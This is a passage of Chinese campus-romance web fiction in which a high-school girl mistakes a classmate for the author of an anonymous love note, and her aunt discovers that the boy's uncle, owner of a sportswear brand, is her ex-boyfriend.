他甚至为此反思了一会儿，反思自己到底有没有惹到她，最后还是没想通。 柯译衍叹了口气，快走两步越过姜织宁，利落转身，挡在她面前。 他垂眸看着她，耐心低声问：“到底怎么了？” 黄澄澄的月亮悬挂半空，如水般的月色给整幢小区笼上一层淡淡光华，草坪上亮着暖黄色的小地灯，光线并不明亮，像是微弱闪烁的星星。 冷漠锋利的冰川隐匿于黑夜，此刻，少年那双宛如无边际黑色海洋般的漆黑眼眸里，只剩下一片柔软月色，宁静平和。 姜织宁仰望着柯译衍，忽然心想，他为什么装作无事发生？ 凭什么就她一个人心烦啊？ 不是应该大家一起心烦吗？ 她是个性格很直接的人，这会儿自己也憋不住了，干脆从口袋里拿出那张粉红小卡片，递给柯译衍，淡声说：“你给我的那本小说里掉出来的。” 柯译衍皱眉接过，看完那首文绉绉的情诗后，瞬间懂了。 一封告白情书。 他很快理清思绪，只觉得十分荒谬，他冷静举起卡片，说：“就因为这个不高兴一晚上？” 姜织宁淡淡嗯了声，心想，他怎么这幅态度，难道她应该高兴吗？ 柯译衍简直要被她气笑，无语问：“所以你认为这是我写的？” 对啊，难道不是吗？ 不是你还有谁。 姜织宁奇怪看着他。 正要反问他时，身后传来一道愉悦女声。 “宁宝，站这里干嘛呢？” 姜织宁扭头望去，看见刚下班的姑姑朝她走来。 姜颖瞄见柯译衍也在，笑眯眯冲他说：“哟，译衍也在啊。” “姜阿姨。”柯译衍不着痕迹收起卡片，礼貌打了声招呼。 姜颖亲昵揽上姜织宁肩膀，推着她往单元楼走，随口问：“你们两人一起回来的？” 姜织宁：“没有，小区里凑巧碰到。” 姜颖：“哦，那你们要是方便的话，以后可以约着一起回家嘛，反正顺路的。晚自习放学后时间也不早了，女孩子单独走夜路，姑姑还是有点不放心的，译衍，你说是吧？” 柯译衍提前走到单元楼门口，一边刷门禁卡，一边回：“确实。” 等姜颖和姜织宁进门，他随后走进来。 见状，姜颖给姜织宁偷偷使了个眼色，意思是—— 你看，这小朋友真有礼貌，知道先给我们开门呢。 姜织宁笑了笑。 大厅电梯门口，站着一位身穿休闲西服的年轻男人。 男人听到动静，目光看过来，先是在姜颖脸上停了一瞬，眼中随之划过一抹诧异之色，然后越过姜颖，落到柯译衍身上。 柯绍之：“回来了。” 柯译衍对舅舅点了点头。 与此同时，姜颖也发现了柯绍之，她脸色骤变，笑脸瞬间消失不见，犀利眼神在柯绍之和柯译衍之间来回打转。 四个人站在电梯前，心思各异，谁也没说话。 不知道为什么，前一秒还欢乐祥和的气氛，在遇到眼前这位帅叔叔后，突然冷场紧张起来。 姜织宁都不需要问，就知道姑姑不高兴了，而且是很不高兴。 姑姑和她一样，是个情绪外露，很直接的人，高不高兴，一眼就能看出来。 柯绍之淡然侧目，瞥了眼突然端起女王姿态的高傲女人，浅笑了声，主动打了个招呼：“好久不见。” 姜颖双臂环胸，冷脸目视前方，没搭理他。 柯绍之没在意被人忽视，笑着打量姜织宁几眼后，又语出惊人地问了句：“这你女儿？” 姜织宁：“” 柯译衍：“” 他神经病吧？！ 姜颖眼刀淬毒，飞速甩向柯绍之，很不客气地冲他翻了个标准大白眼。 叮一声，电梯来了。 门打开，柯绍之绅士抬了下手，示意姜颖女士优先。 阴险老男人在她面前装什么东西啊？！ 姜颖心中痛骂两句，随后侧过身，下巴朝电梯里飒飒一指，冷声道：“小朋友先进去。” 就这样，姜织宁和柯译衍并排站在电梯最里面，两人身前各自站着关系敌对，气场两米八的威严长辈。 电梯门关上瞬间，姜颖唇角微扬，忽然慢悠悠地说：“是啊，这是我女儿宁宝，怎么样，我家宁宝是不是长得很漂亮？学习也很不错，就在附近江中读书呢。” 一副高高在上，故意炫耀的挑衅口吻。 说完，姜颖故意侧目斜睨柯译衍一眼，漫不经心地回怼：“这你儿子啊？难怪和你长得有点像。” 柯译衍：“” 姜织宁：“” 柯绍之就是随口一问，他问完就意识到，这是不可能的事，小姑娘看上去年纪不小，按照姜颖目前的年纪倒推，她总不可能未成年生女吧。 未成年生女？ 像什么话！ 但是他没想到，姜颖会直接承认小姑娘是她的女儿，一时之间，他心里也有点拿不准姜颖是在气他，还是真有这回事。 宁宝宁宝的，柯绍之当然能听出姜颖的刻意炫耀，他不屑地扯了扯唇角。 笑话，谁家小孩没个小名了？ 男人被说得攀比心上来，依样画葫芦，轻飘飘地说：“哦，那还挺巧的，我家衍宝也在江中读书，成绩也不错，好像年级前十还是前五吧，这孩子，懂事得很，根本不需要家里操心。” 啊？ 柯译衍真是柯绍之儿子？？？ 姜颖惊诧愣住。 她心中飞快倒推起柯绍之的年龄，狐疑想着，不可能吧，老男人就比她大两岁而已啊！除非他未成年生子，才会有柯译衍这么大的儿子。 未成年生子？ 他是畜生吧！ 姜织宁进电梯后一直很安静。 长辈之间的血腥战争，那都是提着真刀真枪上阵，刀光剑影，血光四溅，绝对不是闹着玩的，她作为小辈，还是乖乖闭嘴，不参与为好。 直到这位帅叔叔嘴里突然蹦出个令人震惊的“衍宝”，姜织宁才慢吞吞眨了下眼，不可思议地瞥了眼柯译衍。 什么？ 柯译衍的小名居然是衍宝? 反差这么大的吗 她有点想笑了，这很不酷哥哎。 柯译衍进电梯后，一直专注想着情书这事，压根没关心舅舅在胡说八道什么，察觉到姜织宁瞥来的惊讶视线，他思绪才回到长辈战争那边。 柯译衍困惑心想衍宝是谁，从来没听过，而后反应过来说的就是他，顿时内心服气，深深叹气，对舅舅无语至极。 四个人心思各异，谁都没有注意到电梯开始下行，直到重新抵达一楼时，大家才反应过来。 “呵，你家衍宝了不起！” 姜颖阴阳怪气嘲讽，重新按下九楼。 女人被气糊涂了，以至于忘了柯译衍就住在自家对面，她怒瞪了眼柯绍之，没好气质问：“喂！你怎么不按！” 柯绍之淡道：“我们也去九楼，真巧。” 姜颖柳眉倒竖，拔高嗓门：“巧什么巧，谁和你巧！谁想和你做邻居？！” 柯绍之扬眉：“是吗，那你怎么特意搬过来。” 姜颖冷笑一声：“自作多情，这小区是你开发的啊，就能你能住啊？搬过来，是为了我家宁宝读书方便好吧，要知道你住这里，我才不会搬过来！你以为我想看见你吗？” 柯绍之微微笑：“那可惜了，估计以后我们会经常见面。” 姜颖怒视他，气道：“不可能，你给我有点自知之明，脸皮别这么厚！” 柯绍之皮笑肉不笑：“你关心好你自己就行。” 姜颖不客气骂道：“我怎么了，我好得很！论阴险心机，哼，那我是比不过你！” 中途，有业主搬着长纸箱进电梯。 纸箱时不时挡住电梯电子屏，加上柯绍之和姜颖之间剑拨弩张，你一句我一句地吵，谁也没关心九楼到没到。 最后，大家再次错过楼层，重新回到一楼。 电梯门打开的那一瞬，柯译衍和姜织宁脸上的表情出奇的默契，都很无语。 不靠谱的家长们，因为置气互怼，导致一趟电梯上上下下，足足坐了三次，才得以回家。 不知道的，还以为这四个人是来体验电梯的。 大门关上，柯绍之脱掉西服，挂到衣架上。 他叫住准备回房间的柯译衍，皱眉询问：“你认识住对门的小姑娘？” 柯译衍：“认识，同班同学。” “同班同学的话，那就是高二。”柯绍之自言自语，琢磨说，“姜颖肯定在骗我，她不可能有这么大的女儿。” 柯译衍解释：“姜阿姨是姜织宁的姑姑，不是她妈妈。” “姑姑？”柯绍之顿了下，放心了，哼声道，“我说呢，姜颖可真行，这种事都要忽悠我。” “舅舅。” “嗯？” “你认识姜阿姨？”柯译衍问。 柯绍之笑起来，大方地说：“认识啊，她是你舅舅前女友，初恋，是个特别无情的女人。刚才听见她骂人没？是不是很凶，你少惹她啊，否则绝对挨骂。” 第34章 原来他是柯大少爷 前女友。 柯译衍还挺意外的, 没想到姜阿姨和舅舅有这层关系。 柯绍之问：“对面什么时候搬过来的？” 柯译衍：“就开学那会儿。” 男人若有所思点了点头。 柯译衍：“我回房间休息了。” 柯绍之：“嗯去吧，对了，明天赵阿姨就会住过来。” “知道了。” 另一边, 姜颖怒气冲冲换上拖鞋，将手提包用力扔到沙发上。 她单手叉腰, 冷冷盯着大门，越想越生气。 到底哪来的霉运？ 为什么对面偏偏住的是柯绍之？！ 姜颖自言自语：“等会儿, 对门那男生是不是老男人的儿子啊？怎么两人都姓柯。” 姜织宁换好鞋，去厨房给自己倒了杯冰牛奶, 她端着牛奶出来, 主动和姑姑分享情报：“那个叔叔应该不是柯译衍爸爸, 柯译衍爸爸一直住在国外。” “是吗？”姜颖半信半疑。 “嗯，上次去久悸吃饭, 同学和我说过。” 姜颖回想起多年前。 她和柯绍之交往的时候，曾经听他提过几嘴外甥的事, 这么想的话，他外甥应该就是柯译衍, 年纪也对得上，难怪两人长得有点像。 “嗯, 确实不是父子, 是舅舅和外甥, 宁宝你听好！”姜颖板起脸, 抬手指向大门，严肃警告道, “以后, 少和对面男生来往！他也不是好东西，谁知道他对你什么心思！” 姜织宁：“” 姑姑, 你会不会变脸变得太快了 之前还是无比亲切的——译衍。 现在突然无情变成——对面那男生。 连名字都不配拥有，这是有什么深仇大恨吗 姜织宁小心翼翼说：“姑姑，你之前还各种夸柯译衍呢。夸他长得帅，学习好，夸他礼貌沉稳，有责任心，不骄不躁，你还想让他做我的哥哥，这么快就变啦？” “那是以前！”姜颖对自己的善变不以为然，哼声讲，“我现在才知道，那男生和柯绍之一伙的，以前说的那些话，全都作废！是你姑姑看错眼了！” “”姜织宁静默数秒后，忍不住问，“姑姑，你和对面叔叔是什么关系啊？” “他啊，”姜颖翻了个白眼，没好气地说，“他是我前男友，初恋，哼，是个特别有心机的阴险老男人！” 姜织宁：“” 啊，居然是这层关系吗？ 看姑姑这幅态度，估计两人分手分得很不愉快。 “宁宝我告诉你，现在的小男生很不正经，只会花言巧语，心思一个比一个重！” 姜颖联想起她那个还在读大学，这几天正闹分手的海王小男友，生气骂道：“嘴上功夫很会的，一口一个姐姐，给你哄的可开心了，转头就在背地里和其他女生暧昧不清！两边通吃，海王一个！” “姑姑那个渣男现任，长得帅有什么用？校游泳队的有什么用？不还是花花肠子，特别会演！特别会装！” 姜织宁：“” 姜颖面无表情发话：“总之，以后不准和对面男生来往，看他长这么帅，估计私生活也不简单，指不定也是个渣男！姑姑也是草率了，这还没认识多久呢，我就开始夸他好，还是老话说得对，日久见人心！” 是是吗？ 姜织宁不敢吭声，大发脾气的姑姑就是一团熊熊烈火，还是很恐怖的。 “本来看对面男生成绩好，就想让你和他多取取经。”姜颖大手一挥，冷声表示，“算了，姑姑给你物色一个上门家教。” 啊她都已经恢复上学了，现在用不着家教吧。 姜织宁想了想，小声提醒：“姑姑，家教还是先算了，你忘了之前那位不靠谱的家教吗，他才来一周，就敢给我写情书。” 这件无语事发生在姜织宁休学期间。 出院之后，姜织宁一直在家修养身体，为了恢复之前耽误的学习进度，她让姑姑帮忙请了一位上门家教辅导学习。 姑姑面试过几位家教后，最后来的是一位男生，对方是名牌大学在读研究生，当年高考成绩省前五，相貌文质彬彬，很有礼貌涵养。 一开始，姜织宁和男生相处的挺和谐，男生确实有真本事，教的不错。 结果没过几天，那男生就开始有意无意的，说要带姜织宁出去散心，叫她不要总是呆在家里。 暗示过几次后，男生发现姜织宁无动于衷，猜想可能她没听懂他的意思，便在某天辅导结束后，大胆递给她一封情书。 姜织宁看到粉红色的东西，心中立马有了预感。 她当着他的面拆开，认真看完文笔相当不错的情书，在男生期待的目光中，微笑着让他回去等消息。 男生面色欣喜回去等待，结果，等来的却是一通解雇电话。 当天晚上，知晓此事的姜颖大为光火，直接拍桌给男生打去电话，她在电话里臭骂半个小时，最后辞退了这位不靠谱的男家教。 直到现在，再度回想起这件事，依然让姜颖气愤不已。 姜颖冷静思忖片刻，说：“知道了，你先去洗澡睡觉。” 姜织宁嗯了声，乖乖起身去洗澡。 “等会儿，”姜颖忽然叫住姜织宁，仔细打量她几眼，硬邦邦质问，“我刚才看到对面男生手里拎了袋糖葫芦，是买给你的吗？” 姜织宁：“” 救命，姑姑的眼睛也太尖了吧！ “不是。”姜织宁镇定回。 女人眼神怀疑：“真不是给你的？他一男生买什么糖葫芦，还买了一袋子。” 姜织宁面不改色：“不知道，反正不是给我的，我没拿。” 姜颖没说什么，淡淡嗯了声：“去休息吧。” 因为意外遇见柯绍之，好端端的心情变得很不痛快，姜颖给自己泡了杯西洋参茶，沉脸坐到沙发上，一边看电视，一边喝茶降火。 为了侄女读书方便，她才特意租到学校附近住，姜织宁身体不好，有睡眠障碍症，对周围的环境很敏感，哪怕是微小的噪音，也会导致失眠。 已经高二了，这两年是关键。 平时学习压力大，学校里内卷的厉害，所以必须保证姜织宁吃好睡好，这样才有精力应对学习。 为了找到合适的房子，姜颖煞费苦心，不仅对小区交通出行、绿化环境、安全隐私、噪音干扰这些方面有严格的要求，她还把上下左右邻居打听了个遍，确保周围住户都很安静，不会作妖，才敲定这套房子。 谁知道，对门邻居居然是她前男友？？？ 啧，晦气！ 西洋参茶并没有起到任何降火作用，姜颖越想越不痛快，干脆拿起手机，给中介小哥打电话，询问对方还有没有类似的房子出租。 大晚上的，中介接到这个电话后，内心感到很奇怪。 心想着，这不是刚搬过来不久吗，而且之前电话回访的时候，姜女士亲口说住的很愉快啊，怎么突然要搬走呢？ 这位姜小姐的要求非常多，当初看了十几套房子才定下来，再换的话，估计一时半会儿找不到更合适的了。 不过出于服务关怀，中介小哥耐心询问了姜颖搬家的原因。 这一问，直接把姜颖心中的火气问了出来。 她用力放下茶杯，没好气道：“你不是说对面家长很少过来吗，怎么今天就被我碰上了？” 中介好声好气说：“是这样的姜小姐，很少过来的另一层意思是，偶尔也会过来一趟，毕竟有小孩在附近上学嘛，家长肯定还是要过来关心一下的，那至于业主什么时候过来，这个我们确实无法控制。” 中介：“姜小姐啊，是对面业主回来的时候吵到你了？” 姜颖理直气壮：“对啊，他吵到我眼睛了！” 中介愣了：“啊？不是吵到耳朵，而是吵到眼睛？” “对！”姜颖斩钉截铁点头。 中介很无语。 这位姜小姐，你确定不是在无理取闹吗？ 中介干笑两声，说：“这个应该不会吧，我这边看到资料显示，对面业主是一位企业老板，应该挺有素质，挺有涵养的，从来没出现过被投诉的情况，是不是大家有什么误会呢？姜小姐，这个季节房源很紧俏，合适的房子恐怕不好找” “什么企业老板，什么有素质有涵养！”姜颖不屑打断中介，冷笑道，“他柯绍之不就是EQUA的老板吗！那又怎么样，有什么了不起，他还是我那杀千刀的前男友啊！” 中介：“” 姜颖：“你知不知道这个老男人内心多阴险，多有心机？！” 中介：“” 姜颖发火时嗓门很大，姜织宁在浴室里都能听见她说话，但也没听全，就捕捉到几个关键词。 对面柯叔叔是柯译衍的舅舅。 对面柯叔叔是EQUA的老板。 姜织宁心不在焉吹着头发，越想越不对劲，她忍不住关掉吹风机，走到客厅求证。 “姑姑。” “嗯？”姜颖对电话那头说了声等下，挪开手机，一眼注意到姜织宁头发半湿着，立马皱眉叮嘱，“去把头发吹干，吹干了才能睡觉。” 姜织宁：“知道了，姑姑，我刚才听到你说，柯叔叔是EQUA的老板？” 姜颖点头：“没错。” 姜织宁顿了顿，确认问：“就是那个很火的运动品牌EQUA？我经常穿的牌子？” “对，这阴险老男人最近生意做很大，估计是走狗屎运了！”姜颖哼了声，胜负心上来，自夸道，“但是！你姑姑也不差，我们SVIEW可是时装品牌里的黑马！等着吧，今年线上大促，SVIEW绝对稳进类目前三！” “” 这下好了，姜织宁脸色瞬间沉下来，也不高兴了。 这不搞笑吗。 她以为，柯译衍是因为家境原因才在EQUA兼职，她一直辛苦装不知道，帮他保守秘密，还老想义气帮他冲业绩。 哦，合着搞半天，原来EQUA是他家的公司。 他是柯大少爷呢。 无语！ 柯译衍这个骗子！ 第35章 他这是什么茶言茶语？ 第二天, 早读结束。 俞杨放下英语书，活力满满回头看向双A组。 “啊哈哈哈哈！今天也是愉快——” 的一天…… 面对两道冷冰冰的视线，俞杨欢乐大嗓门嘎然而止, 未说完的话硬生生卡在喉咙里，说不下去了。 他小心翼翼眨了眨眼, 默默转回身，内心疯狂咆哮—— 又怎么了！又怎么了！又怎么了！ 苍天啊, 双A组又又又怎么了？！！！ 久违的太平间气氛又来了。 干什么啊？ 这不是昨天还好好的吗 柯译衍向来话少，加上姜织宁也不讲话了, 双A组就这么一路沉默到下午。 下午体育课, 众人换上轻便运动服, 在大操场集合。 体育老师先安排大家慢跑操场两圈热热身，接着男生练习篮球, 女生两两一组练习排球。 “宁王，接着！” 周静瑶从球框里捞出个排球, 轻抛向姜织宁，姜织宁双手交叠, 双臂曲起，仰头追寻球的落点。 她主动往前跑了几步, 抬手迎球, “砰”一声, 排球在空中划过一道漂亮抛物线, 飞回周静瑶那边。 对于初学者来说，排球砸在手腕上是有点痛的, 两女生一来一回认真练习着, 直到手腕受不住，发红发麻了, 姜织宁才气喘吁吁抬手喊停。 周静瑶单手叉腰，拿手背擦了擦额头冒出来的细汗，奇怪说：“今天打得有点猛啊宁王。” “有吗？”姜织宁抿唇笑了笑。 天气挺热，周静瑶右手对着脸扇风，蹦蹦跳跳到姜织宁身边，“有啊，感觉你球风杀气超重！” 姜织宁把排球归还到球框里，和周静瑶去水池边冲干净手，然后拆了包湿巾，擦掉脸颊处的汗，顺势去旁边自动贩卖机买了瓶水蜜桃味的气泡水。 两人拿着饮料走到树荫下，加入女生们偷懒的队伍里。 “对了，你和衍神怎么了？” 周静瑶坐到姜织宁身边，右手肘支在膝盖上，懒散撑着脸颊，偏头望向姜织宁。 “啊？”姜织宁拧开瓶盖，仰头喝了口气泡水。 “就俞杨嘛，”周静眨了眨眼，说，“中午那会儿，他偷偷跑过来和我说，你和衍神之间的气氛很紧张，问你们是不是闹矛盾了？我心想应该不会吧，衍神不像是会闹矛盾的人。” 姜织宁好奇问：“为什么这么说？” 周静瑶认真想了想，严谨分析道：“怎么说呢，就有些时候吧，衍神给我感觉挺有距离感的，不是单纯的不好相处，而是他身上有种脱离集体的游离感，人也没什么情绪，一副对周围一切漠不关心，袖手旁观世界的冷淡态度。” 她嘶了声，猜测说：“孤寂？疏离？还是怎么说，不知道是不是我的错觉。” 姜织宁注视着篮球场上那抹耀眼的投篮英姿，微笑评价：“不愧是我们家周导，观察力很敏锐啊，他身上确实有种脱离集体的游离感，不过我觉得，柯译衍本质上还是位热心市民。” “嗨！知道了知道了。”周静瑶耸了耸肩，摊手道，“真是不能说你们双A组一句坏话。” 姜织宁放下气泡水，笑起来：“不是，你刚才分析的那些话并没有错，柯译衍是具备那些表象，但不可否认，他底色还是很优秀的，这点错不了，好比有些人就是刀子嘴豆腐心。” 周静瑶笑眯眯打趣：“可以可以，不愧是双A组啊，咋就这么有默契呢？你都能看见人家的底色了，所以是俞杨谎报军情，你和衍神根本没闹矛盾吧？” 姜织宁目光追随着球场上的柯译衍，轻叹气：“确实发生了几件事，本来昨天晚上就想和你说的。” 周静瑶换了个更舒适的坐姿，摆好吃瓜表情。 姜织宁：“我前天不是去图书馆借书，但是没借到吗，后来晚自习的时候，柯译衍把书给我了。好家伙，那本书里居然藏了张粉红小卡片，上面写着给我的情诗。” 周静瑶睁大眼，震惊啊了声：“我去！衍神喜欢你？？？” 她整个人瞬间坐直，双手猛拍一下，回想说：“难怪！看电影那天俞杨要看你，我就说呢，原来柯译衍喜欢的是你啊！！！” “先别激动你听我说完。” “哦，不激动，你说。”周静瑶笑眯眯，意味深长盯着她。 “”姜织宁接着说，“我原本也是这么认为的，心想友谊小船要翻，这朋友没法做了。但是昨天晚上，我和柯译衍摊牌的时候，他脸上表情很荒谬，然后今天早上，他把粉红小卡片还给我了，说与他无关。” 周静瑶：“呃不是他的话，那情书为什么会在那本书里啊？不过想想也是，衍神不像是会写情书的人。” 姜织宁摇摇头：“不知道，没问，截止到现在，我还没和他说过话。” 周静瑶有点无语：“因为你发现误会他，所以不好意思和他说话？不是吧，我们作风一向直球的宁王，什么时候变得这么扭捏了。” 姜织宁淡声说：“当然不是因为这个，情书只是小事。昨天晚上柯译衍舅舅回来了，我们正好在电梯门口碰上，姑姑看到柯叔叔后很不高兴，你猜为什么？” “因为两人有仇？” “因为两人曾经是情侣，而且还是初恋。” “啊？这么狗血的吗？？？”周静瑶深深吸气，不禁感叹道，“初恋哎初恋都是刻骨铭心的！” 姜织宁无奈说：“嗯，姑姑快要气死了，大晚上给中介打电话，说要连夜搬家。还骂柯叔叔是阴险心机老男人，骂柯译衍也不是什么好东西，叫我以后少和柯译衍来往。” “不是好东西？” 周静瑶愣了下，瞬间联想起姜颖的招牌女王式臭脸，忍不住仰天大笑起来。 “啊哈哈哈哈哈哈你这邻居关系以后绝对精彩！我本来以为，你和衍神做邻居已经是故事结局了，没想到你们是个连续剧，哈哈哈哈，笑死我了” 姜织宁淡定从容地说：“还有，柯译衍舅舅是EQUA的老板。” “哦，哈哈哈哈哈哈啊 啊？？？” 周静瑶忽然反应过来不对劲，欢乐表情顿住，笑意消失，茫然看着姜织宁，表情呆滞问：“你不是说……柯译衍在EQUA兼职吗？” 姜织宁干巴巴嗯了声。 “什么意思啊？柯大少爷在自己家公司兼职干活？” “没错。” “他闹着玩呢？” “不知道。” 一时间，周静瑶只觉得很无语，脸色复杂说：“不是那我们之前脑补柯译衍家境不好，未成年在EQUA兼职的苦情戏，还想给他冲业绩，多拿提成什么的” “所以到头来，只是我们想多了？哎，我记得上次看电影的时候，你不是在他面前说漏嘴了吗，他没和你说EQUA是他家的公司？” 姜织宁摇头：“没说，可能没什么好说的吧。” 周静瑶冷静下来：“也是，毕竟是人家私事，确实没什么好说的。唉，这反转的那你一晚上信息量确实大，真不容易。” 这时候，体育老师吹哨集合，要下课了。 “可不是吗。”姜织宁拍拍裤脚，叹气站起来。 …… 下午活动课。 姜织宁没去参加社团活动，在黑板上布置完英语作业后，下楼到超市买了瓶常温运动饮料，带着目的走向网球场。 围观的，打球的，网球场一如既往地热闹。 隔着铁网，姜织宁很快找到柯译衍身影，她直接进入球场，目标明确走向他所在的那片区域。 俞杨正坐在球场一侧的长椅上休息。 他余光瞄见姜织宁意外现身球场，滞了秒，随即起身热情招呼。 “哎呀！贵客啊，稀客啊，今儿是什么风，居然把宁王吹来了？” 柯译衍站在球场底线位置，姿态懒散玩转着网球拍，听见俞杨这句话，下意识皱了下眉，被俞戏精一副妈妈桑的谄媚语气恶心到。 他偏头看过来，目无情绪瞥了眼姜织宁，目光交汇，两秒后，各自挪开视线。 “来看看。”姜织宁弯唇，施施然坐到俞杨旁边。 俞杨：“宁王是第一次来吧？” 她点了点头：“算是，以前没进来过。” 俞杨哈哈笑：“我知道了，你肯定是来看散神的。” “什么？”姜织宁眼神疑惑，“谁是散神？” “还有谁，不就是柯译衍嘛。” 姜织宁恍然大悟，大方承认：“哦，是来看他，不过你为什么要叫他散神？” “因为衍神他——” 俞杨刚要解释，就听见姜织宁想当然地说了句：“什么意思，散装的神？” “” 俞杨瞬间石化住。 从出生到今天，他从来没有像现在这样感到—— 窒！息！过！ 真真不愧是宁王啊！ 笑容僵在脸上，窒息中，俞杨脑子里情不自禁地想象了一下散装的画面。 传闻中威风凛凛，如今却被人遗忘，早已变成一堆废铜烂铁的变形金刚，忽然在某天，被人们从垃圾堆里扒拉出若干零件。 人们将锈迹斑斑的零件重组，恢复变形金刚原有的模样，视觉上来说，嗯，确实很牛逼，还是昔日顶天立地的威武战神姿态。 只不过牛逼的同时，战神身上散发出一股浓烈的，一闪而过的流星级别散装气息，仿佛随时会四分五裂倒下。 这就是—— 散、装、的、神 出于双A组今天不同寻常，宛如太平间的冰冷氛围，俞杨合理怀疑，浑身萦绕着淡淡杀气的姜织宁此行并不是来看人的，大概率是来锤人的。 他小心翼翼看着姜织宁，谨慎问她：“宁王啊，你这是在骂衍神垃圾吗？” 姜织宁愣了愣，眼神十分困惑：“没有啊。” 怎么会？ 她很尊重人的。 散神怎么了，即使是散装的，那也是神啊，和他们普通凡人不在一个级别。 俞杨：“” 姜织宁蹙眉盯着俞杨：“你不相信？是不是我理解错了？” 俞杨有点害怕，僵硬点头，毫不犹豫地说：“呃相信！我相信！” 说话时，他眼神坚定的像要入党。 姜织宁：“所以为什么叫柯译衍散神？” 俞杨解释：“主要是因为衍神只加入了网球社，没有加入校网球队嘛，而他的球技又在校网球队所有人之上。” “懂了，意思柯译衍是个自由人，扫地僧。” “哈哈哈，没错没错。” 闲聊时，姜织宁的注意力一直放在柯译衍身上。 只见黄色小球在空中快速划出抛物线，落向离柯译衍有点距离的斜左方位置，姜织宁看着这一幕，惋惜心想，这个球应该接不到了。 结果柯译衍从容镇定，不慌不忙，快速跑动中，球拍从右手自然换到左手，紧接着，他左手握拍，轻松朝球用力一挥。 清脆的“砰！”一声，网球迅速飞过网，球线刁钻砸向对手身后。 裁判：“forty-love！” 左手？ 这也行？ 姜织宁微微睁大眼，惊讶咦了声，不由问：“柯译衍还能用左手打网球啊？” 俞杨笑着说：“可以的，其实职业网球选手里有不少人是左撇子。” 她又问：“柯译衍也是左撇子？” 俞杨摇头：“他不是，我们平时会训练左手接球，通常是双手握拍，反手回击左侧球，像他这种单用左手，一般就是临时救球，打得好的话，挺容易打出神仙球。有时候情况紧急嘛，跑动来不及了，像有些球员急起来，还会把球拍扔出去接球。” 姜织宁若有所思点点头，又好奇问：“forty-love是什么意思，这是40比几？” 俞杨：“40比0。” “love是0分的意思？” 俞杨耐心解释：“对，网球的计分规则比较特殊，赢下一分计15，两分计30，三分计40。0分之所以被称为love，有种说法是因为早期法语中0分的发音很像love，所以就这么沿用了。” 观看了几个来回后，姜织宁很快发现，柯译衍和他的对手完全不在一个水平上，对手男生全程被柯译衍按在地上摩擦。 那男生一边气喘吁吁跑动接球，一边吱哇乱叫。 “那个衍神啊，你发球轻一点慢一点哈！” “晕，这球怎么往回落了，这就是放小球吗” “这这这球线也太偏了，根本接不到啊！” “哎跑不动了，我跑不动了” “衍神，我网球还是新手水平啊啊啊！求手下留情啊，暴力正手太吓人了！！！” 眼看男生惨被虐，姜织宁忍不住说：“节奏被柯译衍牢牢掌控，那男生有点惨，被带着全场乱跑。” 俞杨也觉得有点奇怪，犯嘀咕：“衍神今天怎么打这么凶，还拿出上旋球压制，孔雀开屏啊他？嘶，让我看看，对面小可怜是谁来着。” 他定睛一看，瞬间乐了。 “哈哈哈哈，原来是张典，这小子活该，衍神确实应该好好虐他！” 姜织宁不解：“怎么了？” 俞杨姿态放松靠向椅背，嬉皮笑脸地说：“宁王，你是不是在书里收到情书了？” “你怎么会知道？”姜织宁吃惊看着他。 他猛拍大腿，笑得不行：“我和你说啊，你那情书是张典放的，衍神就是帮他传情书的大冤种！哈哈哈哈，太好笑了！” 姜织宁一脸茫然。 俞杨解释：“前天晚上，衍神去图书馆还书的时候我也在场，当时张典和衍神说，你正好要借这本，张典登记完借书信息，衍神就顺手给你带回来了。” “刚才张典主动约衍神打球，衍神就问他，是不是私自往书里面塞小卡片了，我寻思小卡片是什么玩意儿，一打听才知道，原来是张典写给你的情书，哈哈哈哈！。” 姜织宁：“” 俞杨整个人乐得不行，一边笑一边说：“张典那小子不敢亲手给你，就把情书偷偷藏在书里，我听说，他还忘了署名？啊哈哈哈哈，衍神让他下次记得写名字，笑死我了！” 姜织宁：“” 原来是这样，是她误会柯译衍了。 不可思议的乌龙，但姜织宁更感到庆幸，庆幸不是柯译衍写的。友谊的小船没有翻，顺利穿过黑夜和暴风雨，迎向晴空万里的海面。 球拍扔到一边，张典满头大汗瘫坐在地上，说不打了。 俞杨看柯译衍要下场休息，便起身接替他上场。 他单手叉腰，冲张典喊了声：“张典，俞老师陪你玩一局啊。” “不打了不打了，累死我了。”张典大喘粗气，疯狂挥手拒绝。 “哎，你这体能不行啊，这怎么打网球？我看还是得练，快快快，起来了啊，俞老师陪你练一盘！” “打不了，真打不了再打下去要死人了！” “别呀，再玩玩嘛，放心，俞老师肯定手下留情！” “不不不你你别过来啊！” 张典已经被柯译衍虐出三天三夜都消失不了的巨大心理阴影，面对贼笑逼近的俞杨，他脸色惊恐，手忙脚乱爬起来，双腿颤悠悠逃向出口。 见状，俞杨双手叉腰，哈哈大笑。 室外网球场没有顶棚遮挡，头顶烈日，为了保护头发不受摧残，姜织宁从俞杨这边借了条校队发的新毛巾，稍微折了折，盖到头顶防晒。 吴瑞奇买完水回来，从姜织宁背后路过，他悄咪咪抬起手，正想往姜织宁后脑勺招呼一掌时，忽然被柯译衍出手截住。 哎？ 吴瑞奇一脸懵逼看向柯译衍。 姜织宁听到动静，回头看过来。 她瞥了眼头顶上方的两只手臂，茫然看向柯译衍：“这是在干嘛？” “啊？居然是宁王……”吴瑞奇发现是姜织宁，也吓一大跳，差点偷袭错人，他连忙冲她抱拳道歉，“失敬失敬！差点误伤友军！” 说着，他从塑料袋里拿了瓶冰水塞给柯译衍，然后像旋风一样溜走了。 姜织宁：“” 姜织宁目光追随着柯译衍落座，注意到他要拧开手里的冰水，连忙说了声“等下！”，她拿起特意带来的常温运动饮料，递给他。 柯译衍手上动作顿住，瞄了眼姜织宁递过来的饮料，不冷不热拒绝：“不用。” 姜织宁也没生气，平静目视他，说：“我之前看过一则新闻，说某高中男生剧烈运动后，因为饮用大量冰水引发猝死，哎，你说吓不吓人？” 柯译衍：“” 他没剧烈运动啊，热身都算不上，这还没打几个回合，张典就哭丧脸打不动了，特没劲。 不过，被她说得后背莫名冒凉意是怎么回事？ 姜织宁继续淡定说：“吓人就对了，劝你听学姐的话，还是喝常温的好，毕竟学姐比你多吃一年人生的苦，生活经验比你多，怎么会害你呢？” 柯译衍：“” 很困惑，哪来的学姐？ 姜织宁察觉柯译衍态度犹豫，笑眯眯把运动饮料往他身前递了递。 僵持数秒，见他还是不接，她不由撇嘴说：“情书那事是我误会你了，但你也别作过头，你不是也骗我了吗？” 柯译衍愣了下，下意识把冰水放到一旁，接过饮料，态度缓和下来，皱眉反问：“我哪骗你了？” 